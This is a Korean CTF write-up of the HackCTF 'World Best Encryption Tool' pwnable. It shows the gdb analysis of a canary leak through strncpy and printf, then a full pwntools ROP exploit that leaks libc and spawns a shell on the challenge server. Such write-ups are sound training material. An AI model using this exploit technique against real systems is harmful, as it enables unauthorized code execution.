ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Pwnable] World Best Encryption Tool
    Wargame/HackCTF 2020. 1. 16. 23:34

     

    들어가며

    canaryleak하여 rop로 푸는 문제이다.

    canary leak을 해보았지만, strncpy를 자세히 보지 못해서 어렵게 푼 문제가 아닐까 싶다.

     

    문제해석

    root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# ./World_best_encryption_
    tool
    Your text)
    AAAA
    Encrypted text)
    ]]]]c��3�c�~�3�ctM2B*
    Wanna encrypt other text? (Yes/No)
    Yes
    Your text)
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Encrypted text)
    ]]]]]]]]]]]]]]]]]]]]]]]]]]]]]
    Wanna encrypt other text? (Yes/No)
    Yes
    Your text)
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Encrypted text)
    ]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]AAAAAAA#(�Ce@
    Wanna encrypt other text? (Yes/No)
    No
    *** stack smashing detected ***: ./World_best_encryption_tool terminated
    Aborted (core dumped)

    사용자의 입력값을 암호화 시켜주는 바이너리인듯하다.

    큰 값을 넣으니까 암호화하다 말고 이상한 값이 보인다.

    종료하니 canary 값이 변조되었단다. -> 여기서 위의 이상한 값canary값인 것을 유추할 수 있다.

    gdb를 통해 더 자세히 봐보자.

     

    이 binary는 따로 사용자 지정 함수는 없고 전부 main에서 처리된다.

    0x000000000040076b <+68>:    lea    rax,[rbp-0x80]
    0x000000000040076f <+72>:    mov    rsi,rax
    0x0000000000400772 <+75>:    lea    rdi,[rip+0x19a]        # 0x400913
    0x0000000000400779 <+82>:    mov    eax,0x0
    0x000000000040077e <+87>:    call   0x400630 <__isoc99_scanf@plt>

    [rbp-0x80]에 입력값을 받는다. 입력 크기를 제한하지 않으므로, bof가 발생할 수 있다.

    stack크기를 봐보자.

    gdb-peda$ x/20gx $rsp
    0x7ffc9c15b310: 0x0000000000000000      0x0000000000000000
    0x7ffc9c15b320: 0x4141414141414141      0x0000000000000000
    0x7ffc9c15b330: 0x0000000000000001      0x00007ffc9c15b498
    0x7ffc9c15b340: 0x0000000000000001      0x00007ffc9c15b3c0
    0x7ffc9c15b350: 0x00007feabe1cb168      0x0000000000f0b5ff
    0x7ffc9c15b360: 0x0000000000000001      0x00000000004008cd
    0x7ffc9c15b370: 0x00007ffc9c15b39e      0x0000000000000000
    0x7ffc9c15b380: 0x0000000000400880      0x0000000000400640
    0x7ffc9c15b390: 0x00007ffc9c15b480      0x9f4d9bfc922fec00
    0x7ffc9c15b3a0: 0x0000000000400880      0x00007feabdbfa830
    gdb-peda$ x/gx $rbp
    0x7ffc9c15b3a0: 0x0000000000400880
    gdb-peda$ p/d $rbp-($rsp+0x10)
    $1 = 128

    stack은 buf + canary + sfp + ret로 이루어져있다. 이때, buf + canary크기는 128이다.

     

    0x0000000000400783 <+92>:    mov    DWORD PTR [rbp-0x88],0x0
    0x000000000040078d <+102>:   jmp 0x4007b4 <main+141>
    0x000000000040078f <+104>:   mov    eax,DWORD PTR [rbp-0x88]
    0x0000000000400795 <+110>:   cdqe
    0x0000000000400797 <+112>:   movzx  eax,BYTE PTR [rbp+rax*1-0x80]
    0x000000000040079c <+117>:   xor    eax,0x1c
    0x000000000040079f <+120>:   mov    edx,eax
    0x00000000004007a1 <+122>:   mov    eax,DWORD PTR [rbp-0x88]
    0x00000000004007a7 <+128>:   cdqe
    0x00000000004007a9 <+130>:   mov    BYTE PTR [rbp+rax*1-0x80],dl
    0x00000000004007ad <+134>:   add    DWORD PTR [rbp-0x88],0x1
    0x00000000004007b4 <+141>:   mov    eax,DWORD PTR [rbp-0x88]
    0x00000000004007ba <+147>:   cmp    eax,0x31
    0x00000000004007bd <+150>:   jbe 0x40078f <main+104>

    이부분은 encryption부분이며, 따로 자세히 볼 필요는 없어 보인다.

     

    0x00000000004007bf <+152>:   lea    rcx,[rbp-0x80]
    0x00000000004007c3 <+156>:   lea    rax,[rbp-0x40]
    0x00000000004007c7 <+160>:   mov    edx,0x39
    0x00000000004007cc <+165>:   mov    rsi,rcx
    0x00000000004007cf <+168>:   mov    rdi,rax
    0x00000000004007d2 <+171>:   call   0x4005d0 <strncpy@plt>
    0x00000000004007d7 <+176>:   lea    rax,[rbp-0x40]
    0x00000000004007db <+180>:   mov    rsi,rax
    0x00000000004007de <+183>:   lea    rdi,[rip+0x131]        # 0x400916
    0x00000000004007e5 <+190>:   mov    eax,0x0
    0x00000000004007ea <+195>:   call   0x400600 <printf@plt>

    이 부분을 조금 자세히 보아야 하는데, 입력한 값([rbp-0x40])[rbp-0x40]으로 0x39bytes만큼 복사한다.

    그리고 [rbp-0x40]출력해준다.

    복사한 전과 후, stack을 비교해보자.

    gdb-peda$ x/20gx $rsp
    0x7ffc9c15b310: 0x0000000000000000      0x0000000000000000
    0x7ffc9c15b320: 0x4141414141414141      0x0000000000000000
    0x7ffc9c15b330: 0x0000000000000001      0x00007ffc9c15b498
    0x7ffc9c15b340: 0x0000000000000001      0x00007ffc9c15b3c0
    0x7ffc9c15b350: 0x00007feabe1cb168      0x0000000000f0b5ff
    0x7ffc9c15b360: 0x0000000000000001      0x00000000004008cd
    0x7ffc9c15b370: 0x00007ffc9c15b39e      0x0000000000000000
    0x7ffc9c15b380: 0x0000000000400880      0x0000000000400640
    0x7ffc9c15b390: 0x00007ffc9c15b480      0x9f4d9bfc922fec00
    0x7ffc9c15b3a0: 0x0000000000400880      0x00007feabdbfa830
    gdb-peda$ x/20gx $rsp
    0x7ffc9c15b310: 0x0000000000000000      0x0000000000000032
    0x7ffc9c15b320: 0x5d5d5d5d5d5d5d5d      0x1c1c1c1c1c1c1c1c
    0x7ffc9c15b330: 0x1c1c1c1c1c1c1c1d      0x1c1c63e08009a884
    0x7ffc9c15b340: 0x1c1c1c1c1c1c1c1d      0x1c1c63e08009afdc
    0x7ffc9c15b350: 0x00007feabe1cad74      0x0000000000f0b5ff
    0x7ffc9c15b360: 0x5d5d5d5d5d5d5d5d      0x1c1c1c1c1c1c1c1c
    0x7ffc9c15b370: 0x1c1c1c1c1c1c1c1d      0x1c1c63e08009a884
    0x7ffc9c15b380: 0x1c1c1c1c1c1c1c1d      0x1c1c63e08009afdc
    0x7ffc9c15b390: 0x00007feabe1cad74      0x9f4d9bfc922fec00
    0x7ffc9c15b3a0: 0x0000000000400880      0x00007feabdbfa830

    위에서 0x7ffc9c15b320 ~ 0x7ffc9c15b359 까지를 0x7ffc9c15b360 ~ 0x7ffc9c15b399 로 복사한다.

    여기서 복사한 부분 바로 다음 값이 canary값이다. 그러므로 출력할때 canary값을 출력할 수 있다.

     

    정리하면, binary는 다음과 같이 동작한다.

    1. 글자 수 제한없이 입력값을 받는다. -> bof 발생
    2. 암호화한 후에 strncpy(rbp-0x40, 입력값, 0x39)를 수행한다.
    3. [rbp-0x40]를 출력한다. -> canary값 출력 가능

     

    풀이

    우선 canary값을 leak하기 위해, Abuf크기(120)만큼 넣어보았다.

    # in gdb
    gdb-peda$ x/20gx $rsp
    0x7fff89672980: 0x0000000000000000      0x0000000000000032
    0x7fff89672990: 0x5d5d5d5d5d5d5d5d      0x5d5d5d5d5d5d5d5d
    0x7fff896729a0: 0x5d5d5d5d5d5d5d5d      0x5d5d5d5d5d5d5d5d
    0x7fff896729b0: 0x5d5d5d5d5d5d5d5d      0x5d5d5d5d5d5d5d5d
    0x7fff896729c0: 0x4141414141415d5d      0x4141414141414141
    0x7fff896729d0: 0x5d5d5d5d5d5d5d5d      0x5d5d5d5d5d5d5d5d
    0x7fff896729e0: 0x5d5d5d5d5d5d5d5d      0x5d5d5d5d5d5d5d5d
    0x7fff896729f0: 0x5d5d5d5d5d5d5d5d      0x5d5d5d5d5d5d5d5d
    0x7fff89672a00: 0x4141414141415d5d      0xc0efd446c5bfc641
    0x7fff89672a10: 0x0000000000400880      0x00007ff031fb4830
    
    # in pwntools dbgmode
    [DEBUG] Received 0xb bytes:
        'Your text)\n'
    [DEBUG] Sent 0x79 bytes:
        'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAA\n'
    [DEBUG] Received 0x53 bytes:
        00000000  45 6e 63 72  79 70 74 65  64 20 74 65  78 74 29 0a  │Encr│ypte│d te│xt)·│
        00000010  5d 5d 5d 5d  5d 5d 5d 5d  5d 5d 5d 5d  5d 5d 5d 5d  │]]]]│]]]]│]]]]│]]]]│
        *
        00000040  5d 5d 41 41  41 41 41 41  41 c6 bf c5  46 d4 ef c0  │]]AA│AAAA│A···│F···│
        00000050  80 08 40                                            │··@│
        00000053
    [DEBUG] Received 0x24 bytes:
        '\n'
        'Wanna encrypt other text? (Yes/No)\n'
    [*]
    [*] Stage 1 : Leak Canary
    [*] Canary: 0xc0efd446c5bfc600

    printf에서 %s'\x00'를 만나기 전까지 출력하므로 canary값을 성공적으로 leak을 하였다.

     

    이제, payload는 다음과 같아진다.

    1. puts(setvbuf@got) -> Leak libc_base
    2. system('/bin/sh')

    이를 토대로 exploit code를 작성해보았다.

     

    Exploit.py

    from pwn import *
    
    r = remote('ctf.j0n9hyun.xyz', 3027)
    #r = process('./World_best_encryption_tool')
    e = ELF('./World_best_encryption_tool')
    
    r.sendlineafter(')\n', "A"*120)
    r.recvuntil('\n')
    recvs = r.recvuntil('\n')[-11:-4]
    canary = u64(recvs.ljust(8, '\x00')) * 0x100
    
    log.info("")
    log.info("Stage 1 : Leak Canary")
    log.info("Canary: "+hex(canary))
    
    puts_plt = e.plt['puts']
    setvbuf_got = e.got['setvbuf']
    setvbuf_offset = 0x06fe70
    system_offset = 0x045390
    binsh_offset = 	0x18cd57
    pop_rdi = 0x004008e3
    pop_rsi_r15 = 0x004008e1
    main = 0x0000000000400727
    
    payload = ''
    payload += "A"*0x38
    payload += "\x00"
    payload += "A"*(120-len(payload))
    payload += p64(canary)
    payload += "B"*8
    payload += p64(pop_rdi)
    payload += p64(setvbuf_got)
    payload += p64(pop_rsi_r15)
    payload += p64(0)
    payload += p64(0)
    payload += p64(puts_plt)
    payload += p64(main)
    
    r.sendlineafter('No)', 'Yes')
    r.sendlineafter(')\n', payload)
    r.sendlineafter('No)', 'No')
    
    leak = u64(r.recvn(7)[1:].ljust(8, '\x00'))
    libc_base = leak - setvbuf_offset
    system = libc_base + system_offset
    binsh = libc_base + binsh_offset
    
    log.info("")
    log.info("Stage 2 : Leak libc")
    log.info("setvbuf@got: "+hex(leak))
    log.info("libc_base: "+hex(libc_base))
    log.info("system: "+hex(system))
    log.info("binsh: "+hex(system))
    
    payload = ''
    payload += "A"*0x38
    payload += "\x00"
    payload += "A"*(120-len(payload))
    payload += p64(canary)
    payload += "B"*8
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(system)
    
    r.sendlineafter(')\n', payload)
    r.sendlineafter('No)', 'No')
    r.interactive()

    'Wargame > HackCTF' 카테고리의 다른 글

    [Pwnable] j0n9hyun's secret  (0) 2020.01.31
    [Pwnable] Unexploitable #1, #2  (0) 2020.01.27
    [Misc] 탈옥  (0) 2020.01.16
    [Pwnable] Register  (0) 2020.01.16
    [Pwnable] RTC  (0) 2020.01.12

    댓글

Designed by Tistory.